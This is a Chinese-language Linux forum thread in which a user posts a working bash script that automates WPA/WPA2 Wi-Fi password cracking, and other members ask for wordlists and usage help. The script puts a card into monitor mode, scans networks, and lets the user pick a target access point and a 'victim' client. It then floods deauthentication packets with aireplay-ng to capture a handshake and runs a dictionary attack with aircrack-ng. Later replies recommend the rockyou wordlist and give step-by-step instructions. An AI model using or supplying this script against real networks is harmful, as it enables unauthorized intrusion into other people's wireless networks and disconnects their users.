wpa加密的无线密码自动破解脚本

sh/bash/dash/ksh/zsh等Shell脚本
回复
头像
needle
帖子: 78
注册时间: 2009-12-01 13:34

wpa加密的无线密码自动破解脚本

#1

帖子 needle » 2013-11-05 23:46

谷歌都没搜到几个~,国内的貌似只有wep的~
于是用bash写了个wpa的 :em05
主要是学了相关的东西如果不记下来又会忘记,
已经是第二次翻相同的英文资料了,累死了~
刚开始写了个笔记式的脚本,一通的echo和暂停,然后自己手动运行~
最后干脆写成自动化脚本~,不用翻笔记,不用复制粘贴了~

本来想写版本2的,
发现使用管道破解密码,若用ctrl-c中断 会有延迟,
会导致前后两个命令最后密码的记录不一致,大约有一秒的时差~
一秒就有上千个密码被跳过~
求赞~ :em03

代码: 全选

#!/bin/bash -
#
#auto_attack_wpa/wpa2.
#how to find the hide essid?
#help yourself...
#
#default:wlan0, mon0
#request: aircrack suite was installed.
#
#make it in kali linux.
#
#maybe can add aircrack session function in version2.
#by needle wang
#
#version1.1:
#fixed essid inputed is none or contains blank.
#added killing aireplay-ng
#2013年 11月 02日 星期六 00:40:28 CST
#
#version1.0:
#waste one night...
#2013年 10月 30日 星期三 05:49:36 CST

test -f "$1" && test -r "$1" || {
					echo "need a wordlist file."
					echo "usage: $0 wordlist.txt"
					exit 1
				}

interface=wlan0
wordlistfile="$1"

client_inputed_validate(){
#validate if it's a number.
echo "$1" | grep -q '^[0-9]*$' || return 1
#validate if it's in a range.
if [ "$1" -gt "0" ] && [ "$1" -le "$clients_count" ]
then
	return 0
else
	return 2
fi
}

replay_for_wpa(){
#bssid
ap_mac=$1
#client_mac
victim_mac=$2

sleep 2s
while true
do
	aireplay-ng -0 2 -a $ap_mac -c $victim_mac mon0
	sleep 6s
done
}

stop_replay(){
	#here, the time of wasting equals the code's...
	#it contains:
	#a subshell's pid forked for running aireplay-ng 
	#a subshell's pid forked for running ps...
	#maybe because of $(ps)...
	#note: in some window manager (such as gnome),
	#after killing the parent pid, the sub-process's ppid could become 1~ (resolved here.)
	subshell_pid_list=$(ps -o pid --ppid $$ --sort -start_time)
	#should only one.
	subshell_pid=$(echo "$subshell_pid_list" | tail -n 1)

	sub_process_list=$(ps -o pid --ppid ${subshell_pid})
	#here is sleep's or aireplay-ng's pid
	#if not killed, the aireplay's last output would override the aircrack-ng's prompt randomly.
	sub_process_pid=$(echo "${sub_process_list}" | tail -n 1)
	kill -15 ${subshell_pid} ${sub_process_pid}
}


tmpfile=$(mktemp)
test -e $tmpfile || {
			echo "can't mktemp"
			exit 1
		    }

trap "rm -f $tmpfile; echo -e '\nterminated manually...'; exit 2;" INT

monitor_status_str=$(airmon-ng)
#if there is no monitor, start one.
#and only use mon0, maybe change it in future. ^||
echo "${monitor_status_str}" | grep -q mon0 || airmon-ng start ${interface}

echo 'Now start to capture all, if you think enough after a moment, press ctrl-c.'
read -ep 'Are you clear? [Press Enter]:'

#don't need trap...
#trap "pkill airodump-ng;" INT
airodump-ng mon0 2>&1 | tee $tmpfile

#trap "rm -f $tmpfile; echo -e '\nterminated manually...'; exit 2;" INT

line_number_at_last_elapsed=$(grep -n 'Elapsed' $tmpfile | tail -n 1 | awk -F':' '{print $1}')

#lastline are some strange characters. but I have no idea for deleting this line...
last_mesg=$(sed -n "${line_number_at_last_elapsed},\$p" $tmpfile)
echo "$last_mesg" >$tmpfile

clear
echo -e "\n------------- Final message -------------\n"
cat $tmpfile

read -ep "which ESSID you wanna crack: " essid

until [ "${essid}" ] && [ "$(sed -n '/BSSID/,/BSSID/p' $tmpfile | grep " $essid *$")" ]
do
	echo "input wrong?"
	read -ep "which ESSID you wanna crack: " essid
done


channel=$(sed -n '/BSSID/,/BSSID/p' $tmpfile | grep -- "$essid" | awk '{print $6}')
bssid=$(sed -n '/BSSID/,/BSSID/p' $tmpfile | grep -- "$essid" | awk '{print $1}')

clients=$(sed -n '/BSSID.*Probe/,$p' $tmpfile | grep -- "$bssid" | awk '{print $2}')

test "$clients" || {
			echo -e "\nno clients, you should wait a minute util a client connection."
			echo "this is the only way to wpa/wpa2."
			echo "no other tools's authority is more powerful than aircrack!"
			rm -f $tmpfile
			exit 1
		   }

clients_count=$(echo "$clients" | wc -l)
num_client=1

if [ "$clients_count" -gt 1 ]
then
	echo "It seems more clients. choose one(1,2,3...) to use for deauthentication:"
	echo "$clients" | nl
	read -ep "Enter straightly means the first: " num_client
	test "$num_client" || num_client=1
fi

if ! client_inputed_validate "$num_client"
then
	echo "I don't wannna code more. please, serious. last one chance!"
	echo "$clients" | nl
	read -ep "Enter straightly means the first: " num_client
	test "$num_client" || num_client=1
	client_inputed_validate "$num_client" || {
							echo "Are you kidding?"
							rm -f $tmpfile
							exit 38
						 }
fi

client_mac=$(echo "$clients" | sed -n "${num_client}p")

echo -e "\nmesg is here:
AP's essid   is ${essid}
AP's channel is ${channel}
AP's bssid   is ${bssid}
victim's mac is ${client_mac}\n"
read -ep "now start to dump and replay will in background.
If catched a handshake, press ctrl-c, or not, you can also press it for stop.
clear? [Press Enter]: "

trap "stop_replay;" INT
replay_for_wpa $bssid $client_mac &

airodump-ng -c $channel --bssid $bssid -w "essid_${essid}" mon0

trap "rm -f $tmpfile; echo -e '\nterminated manually...'; exit 2;" INT
clear
echo "next, crack the cap file. you can use john, hashcat... by yourself."
read -ep "here is aircrack-ng -w $wordlistfile essid_${essid}*.cap
[Press Enter]: "
aircrack-ng -w $wordlistfile "essid_${essid}"*.cap

rm -f $tmpfile

myshell^_^
xfce4.10最好用了……
舒适的滚轮升起焦点设计,大量快捷键,alt移动,糟糕的桌面图标……
珍爱生命,LFS 三思~
头像
momova
帖子: 3381
注册时间: 2007-07-11 21:43
系统: archlinux
来自: 东江边

Re: wpa加密的无线密码自动破解脚本

#2

帖子 momova » 2013-11-07 22:39

我试试。
要字典,有推荐的吗
我来了,我看见了,我征服了!
求勾搭,不管饭。
头像
momova
帖子: 3381
注册时间: 2007-07-11 21:43
系统: archlinux
来自: 东江边

Re: wpa加密的无线密码自动破解脚本

#3

帖子 momova » 2013-11-07 22:43

which ESSID you wanna crack:
还需要自己输入ESSID吗?前面什么也没有哦
我来了,我看见了,我征服了!
求勾搭,不管饭。
头像
只是说
帖子: 1140
注册时间: 2012-03-12 22:44
系统: 贱兔
来自: 株洲

Re: wpa加密的无线密码自动破解脚本

#4

帖子 只是说 » 2013-11-07 23:09

留名,待观察!
我的博客
头像
needle
帖子: 78
注册时间: 2009-12-01 13:34

Re: wpa加密的无线密码自动破解脚本

#5

帖子 needle » 2013-11-08 23:08

momova 写了:
which ESSID you wanna crack:
还需要自己输入ESSID吗?前面什么也没有哦
哎呀,
字典的话,kali 自带了个rockyou.gz的字典(/usr/share/wordlist/里),
呃,自己可以到网上查查,有一些的~,
在第一次airodump运行时,按下ctrl-c会出现一个final message,
然后从中选出一个想要抓握手包的ESSID,就可以了。
呃,final message中,下方一定要有一个连接用户,
因为wpa抓包原理决定的~,wpa不像wep,不好破的,只有这一条路可以走~
:em03
myshell^_^
xfce4.10最好用了……
舒适的滚轮升起焦点设计,大量快捷键,alt移动,糟糕的桌面图标……
珍爱生命,LFS 三思~
chole
帖子: 482
注册时间: 2010-05-11 17:27

Re: wpa加密的无线密码自动破解脚本

#6

帖子 chole » 2013-11-09 20:58

哇,还有这东西。。。。
xep007
帖子: 871
注册时间: 2006-01-03 20:44

Re: wpa加密的无线密码自动破解脚本

#7

帖子 xep007 » 2013-11-10 14:29

很好。最好加一篇使用说明。
头像
needle
帖子: 78
注册时间: 2009-12-01 13:34

Re: wpa加密的无线密码自动破解脚本

#8

帖子 needle » 2013-11-10 21:52

xep007 写了:很好。最好加一篇使用说明。
巨简单的~,不用使用说明~
无线网卡驱动完善,装好aircrack, 准备个字典,然后:

代码: 全选

./wpa.sh wordlist
运行过程中有提示信息,跟着提示走就行了,期间顶多要按几次回车:
airodump第一次运行时 若出现 与我们要抓包的AP连接的 客户端就按ctrl-c,
然后选个ESSID和客户端的mac选择序号(如果出现多个客户端才会有客户端的选择提示)
就开始自动抓握手包,抓到再按ctrl-c停止aireplay,
最后会提示你要不要用aircrack去破解密码,over。
:em01
myshell^_^
xfce4.10最好用了……
舒适的滚轮升起焦点设计,大量快捷键,alt移动,糟糕的桌面图标……
珍爱生命,LFS 三思~
apyzl
帖子: 1
注册时间: 2012-07-07 10:47

Re: wpa加密的无线密码自动破解脚本

#9

帖子 apyzl » 2013-11-27 9:32

赞一个,高手啊
回复